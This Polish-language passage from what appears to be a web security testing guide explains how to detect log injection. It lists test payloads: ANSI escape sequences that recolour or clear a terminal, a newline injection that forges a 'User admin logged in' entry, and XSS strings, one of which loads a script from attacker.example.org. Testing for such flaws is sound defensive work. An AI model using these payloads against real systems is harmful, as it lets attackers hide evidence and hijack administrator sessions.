Problem
Chociaż atak polegający na wstrzykiwaniu zapisów w dziennikach nie umożliwił napastnikowi uzyskania nieuprawnionego dostępu do systemu, może zostać wykorzystany do sfałszowania zapisów w plikach dzienników. Takie działania mogą utrudnić operacje śledcze, ponieważ napastnik może ukryć prawidłowe zapisy w dzienniku świadczące o przeprowadzonych atakach. Jeśli pliki dzienników są przeglądane w aplikacji internetowej, to w ten sposób można również wykraść sesję administratora lub operatora.
Jeśli pliki dzienników są przeglądane w programie xterm za pomocą takich poleceń jak cat i tail, to można wprowadzić złośliwe dane wejściowe postaci %1B%5B41m%1B%5B37m w polach wejściowych, dla których istnieje prawdopodobieństwo zarejestrowania w plikach dzienników (na przykład nazwa użytkownika na stronie logowania).
Jeśli pliki dzienników są przeglądane w aplikacji internetowej, należy wprowadzić ciąg ataku XSS postaci <script>alert("XSS! ");</script> w polach wejściowych, dla których istnieje prawdopodobieństwo zarejestrowania w plikach dzienników (na przykład nazwa użytkownika na stronie logowania).
Następnie należy przejrzeć pliki dzienników. Jeśli aplikacja jest wrażliwa na ataki wstrzykiwania zapisów w dziennikach, to w pierwszym przypadku — przeglądania plików dzienników w programie xterm — tekst za wstrzykniętym ciągiem zmieni kolor na biały na czerwonym tle. W drugim przypadku, kiedy plik dziennika jest przeglądany w przeglądarce WWW, wyświetli się okno dialogowe zawierające tekst XSS!.
Pokazane testowe dane wejściowe pozwoliły na łatwe stwierdzenie podatności aplikacji na wstrzykiwanie zapisów w plikach dzienników w dwóch różnych scenariuszach. Złośliwe testowe dane wejściowe zastosowane w ramach testu przyjęły następujące formy:
%1B%5B%32%4A
%0AUser admin logged in
<script src="http://attacker.example.org/xss_exploit.js"/>
Pierwsza z nich zeruje cały ekran w przypadku przeglądania pliku dziennika w programie xterm. W ten sposób zapisy poprzedzające wstrzyknięty tekst znikają z ekranu.
Druga powoduje wstawienie nowego wiersza w plikach dzienników. W związku z tym podczas przeglądania dziennika w programie xterm pojawił się sfałszowany wpis „User admin logged in", tak jak pokazano poniżej:
Authentication failed for user: jsmith at 08:01:54.21
Authentication failed for user: mjones at 08:01:55.10
Authentication failed for user:User admin logged in at 08:01:55.93
Authentication failed for user: bbaker at 08:01:56.55
Trzeci wpis powoduje wstawienie dowolnego kodu JavaScript do plików dzienników. Dzięki temu napastnik może uzyskać pełną kontrolę nad tym, co operator lub administrator zobaczy podczas przeglądania plików dzienników.
DYSKUSJA
Istnieje kilka typów ataków wstrzykiwania wpisów w plikach dzienników, które zależą od formatu pliku dzienników oraz sposobu, w jaki są one przeglądane przez operatorów i administratorów. We wszystkich omawianych przypadkach napastnik zyskuje pewną kontrolę nad tym, co widzi osoba przeglądająca pliki dzienników. Wstrzykiwanie zapisów w dziennikach to skuteczny sposób ukrywania dowodów przeprowadzania ataków (pomyślnych lub nie) oraz uruchamiania składowanych ataków XSS przeciwko operatorom i administratorom.